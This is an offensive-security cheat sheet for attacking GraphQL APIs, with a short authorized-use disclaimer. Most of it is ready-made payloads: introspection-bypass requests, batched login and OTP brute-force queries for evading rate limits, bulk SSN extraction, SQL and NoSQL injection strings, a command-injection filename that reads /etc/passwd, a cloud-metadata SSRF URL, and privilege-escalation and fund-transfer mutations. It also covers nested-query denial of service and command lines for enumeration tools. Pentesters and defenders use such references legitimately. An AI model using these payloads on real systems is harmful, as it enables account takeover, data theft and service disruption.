GRAPHQL-SECURITY
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
Comprehensive reference for testing GraphQL APIs for security vulnerabilities, misconfigurations, and attack vectors.
INTROSPECTION QUERIES#
Full Schema Introspection:
{
__schema {
types {
name
kind
fields {
name
type {
name
kind
ofType {
name
kind
}
}
args {
name
type {
name
}
}
}
}
queryType { name }
mutationType { name }
subscriptionType { name }
}
}
List All Types:
{
__schema {
types {
name
kind
description
}
}
}
Specific Type Details:
{
__type(name: "User") {
name
fields {
name
type {
name
kind
}
}
}
}
List All Queries:
{
__schema {
queryType {
fields {
name
args { name type { name } }
type { name kind }
}
}
}
}
List All Mutations:
{
__schema {
mutationType {
fields {
name
args { name type { name } }
}
}
}
}
Introspection Bypass Attempts:
# If introspection is disabled, try:
# GET request instead of POST
GET /graphql?query={__schema{types{name}}}
# Alternate content types
Content-Type: application/x-www-form-urlencoded
query={__schema{types{name}}}
# __type query might work even if __schema is blocked
{__type(name:"Query"){fields{name}}}
# Whitespace and newline variations
{\n__schema{\ntypes{\nname\n}\n}\n}
# Using aliases
{a:__schema{types{name}}}
FIELD SUGGESTION ABUSE#
Concept:
# When introspection is disabled, GraphQL may still suggest fields
# Send invalid field names and parse error messages for suggestions
Technique:
# Query with nonexistent field
{ user { idz } }
# Error: "Cannot query field 'idz' on type 'User'. Did you mean 'id'?"
# Systematically enumerate fields
{ user { a } } -> suggestions for fields starting with 'a'
{ user { b } } -> suggestions for fields starting with 'b'
...
Tools:
# Clairvoyance - automated field suggestion enumeration
python3 clairvoyance.py -d https://target.com/graphql -w wordlist.txt -o schema.json
# graphql-cop - GraphQL security testing
python3 graphql-cop.py -t https://target.com/graphql
BATCHING ATTACKS#
Query Batching (Array):
# Send multiple queries in a single HTTP request
# Bypass rate limiting on login/OTP/password reset
[
{"query": "mutation { login(email:\"admin@test.com\", password:\"pass1\") { token } }"},
{"query": "mutation { login(email:\"admin@test.com\", password:\"pass2\") { token } }"},
{"query": "mutation { login(email:\"admin@test.com\", password:\"pass3\") { token } }"},
{"query": "mutation { login(email:\"admin@test.com\", password:\"pass4\") { token } }"},
{"query": "mutation { login(email:\"admin@test.com\", password:\"pass5\") { token } }"}
]
Alias-Based Batching:
# Multiple operations in a single query using aliases
{
attempt1: login(email: "admin@test.com", password: "pass1") { token }
attempt2: login(email: "admin@test.com", password: "pass2") { token }
attempt3: login(email: "admin@test.com", password: "pass3") { token }
attempt4: login(email: "admin@test.com", password: "pass4") { token }
attempt5: login(email: "admin@test.com", password: "pass5") { token }
}
OTP Brute Force via Batching:
{
a0: verifyOTP(code: "0000") { success }
a1: verifyOTP(code: "0001") { success }
a2: verifyOTP(code: "0002") { success }
...
a9999: verifyOTP(code: "9999") { success }
}
Data Exfiltration via Batching:
{
u1: user(id: 1) { email name ssn }
u2: user(id: 2) { email name ssn }
u3: user(id: 3) { email name ssn }
...
}
INJECTION VIA VARIABLES#
SQL Injection:
# Query with variables
query getUser($id: String!) {
user(id: $id) { name email }
}
# Variables:
{"id": "1' OR '1'='1"}
{"id": "1' UNION SELECT username,password FROM users--"}
NoSQL Injection:
{"id": {"$gt": ""}}
{"id": {"$regex": "^admin"}}
OS Command Injection:
{"filename": "report.pdf; cat /etc/passwd"}
SSRF via Variables:
{"url": "http://169.254.169.254/latest/meta-data/"}
Testing Input Types:
# Test with unexpected types
{"id": null}
{"id": true}
{"id": -1}
{"id": 99999999999}
{"id": ""}
{"id": ["1","2"]}
{"id": {"nested": "object"}}
AUTHORIZATION BYPASS#
Horizontal Access Control:
# Query other users' data
{ user(id: "other-user-id") { email password creditCard } }
# Access resources belonging to other organizations
{ organization(id: "other-org") { users { name email } } }
Vertical Access Control:
# Access admin mutations as regular user
mutation { deleteUser(id: "victim") { success } }
mutation { updateRole(userId: "self", role: ADMIN) { success } }
mutation { createInvite(email: "attacker@evil.com", role: ADMIN) { token } }
Field-Level Authorization:
# Request sensitive fields that should be restricted
{ user(id: "me") { name email ssn creditCardNumber internalNotes } }
{ allUsers { name email role isAdmin passwordHash } }
Mutation Authorization:
# Test if mutations check authorization
mutation { updateUser(id: "other-user", input: {role: "admin"}) { id role } }
mutation { transferFunds(from: "victim", to: "attacker", amount: 1000) { success } }
Subscription Authorization:
# Subscribe to events you should not see
subscription { newOrder(userId: "other-user") { id total items } }
subscription { adminNotifications { message sensitiveData } }
DENIAL OF SERVICE VIA NESTED QUERIES#
Deeply Nested Queries:
# Exponential complexity via circular references
{
user(id: 1) {
friends {
friends {
friends {
friends {
friends {
name
}
}
}
}
}
}
}
Wide Queries:
# Request all fields on all types
{
allUsers {
name email address phone
orders {
id total items {
name price description
reviews {
text rating author { name email }
}
}
}
posts {
title body comments {
text author { name posts { title } }
}
}
}
}
Resource Exhaustion:
# Large pagination
{ users(first: 999999) { name email } }
# Expensive computed fields
{ report(dateRange: "2000-01-01:2025-12-31") { data } }
# Regex-based search (ReDoS)
{ search(query: "aaaaaaaaaaaaaaaaaaaaaa!") { results } }
Mitigations to Check:
- Query depth limiting
- Query complexity analysis
- Timeout on query execution
- Pagination limits
- Rate limiting per query
TOOLS#
GraphQL Voyager:
- Visual schema exploration
- Renders interactive graph of types and relationships
- Input: introspection query result JSON
- Helps identify interesting types and paths
- https://graphql-kit.com/graphql-voyager/
InQL (Burp Extension):
- Import GraphQL schema via introspection
- Generates all possible queries and mutations
- Integrates with Burp Scanner and Repeater
- Batch query testing
- Schema visualization
Clairvoyance:
- Enumerate GraphQL schema without introspection
- Uses field suggestion error messages
- python3 clairvoyance.py -d https://target.com/graphql
GraphQL Cop:
- Security audit tool for GraphQL
- Checks for common misconfigurations
- Tests: introspection, batching, DoS, field suggestions
- python3 graphql-cop.py -t https://target.com/graphql
Altair GraphQL Client:
- Desktop/web GraphQL IDE
- Auto-complete from schema
- Variable and header management
- Subscription support
graphw00f:
- GraphQL server fingerprinting
- Identifies server engine (Apollo, Hasura, etc.)
- python3 main.py -d https://target.com/graphql
BatchQL:
- Automated batch query attack tool
- Rate limit bypass testing
COMMON MISCONFIGURATIONS#
Introspection Enabled in Production:
# Should be disabled in production
# Test: send introspection query
# If it returns schema data, it is misconfigured
Debug Mode / GraphiQL Exposed:
# Interactive GraphQL IDE in production
/graphiql, /graphql/console, /graphql/playground
/altair, /graphql-playground
# Often has introspection enabled by default
No Query Depth Limiting:
# Test with deeply nested queries (10+ levels)
# If server processes them without error, it is vulnerable to DoS
No Rate Limiting on Mutations:
# Test batching attacks (see above)
# If all queries in a batch execute, rate limiting is bypassed
Excessive Data Exposure:
# Default resolvers may return all database fields
# Check if sensitive fields are exposed in responses
# password, passwordHash, ssn, creditCard, internalId, apiKey
Missing Authentication on Subscriptions:
# WebSocket connections may skip auth middleware
# Test: connect to ws://target.com/graphql without auth token
# Try subscribing to sensitive events
Verbose Error Messages:
# Errors may leak schema details, database info, stack traces
# Test with invalid queries and malformed input
# Example: "column 'password_hash' does not exist" reveals DB schema
No Persisted Queries:
# Arbitrary queries accepted (should use allowlisted queries in production)
# If any query string is accepted, attack surface is maximized
CORS Misconfiguration:
# GraphQL endpoint accepts requests from any origin
# Test with Origin: https://evil.com header
# Check Access-Control-Allow-Origin in response
GRAPHQL ENDPOINT DISCOVERY#
Common Paths:
/graphql
/graphql/v1
/api/graphql
/graphql/api
/graphql/console
/v1/graphql
/v2/graphql
/gql
/query
/graphql/query
Detection:
# Send a basic query to suspected endpoints
POST /graphql
Content-Type: application/json
{"query": "{__typename}"}
# Response: {"data":{"__typename":"Query"}}
# This confirms GraphQL endpoint
# Try GET method
GET /graphql?query={__typename}
Fingerprinting:
# Different GraphQL servers have different behaviors
# Apollo: returns {"data":{"__typename":"Query"}}
# Hasura: returns {"data":{"__typename":"query_root"}}
# Use graphw00f for automated fingerprinting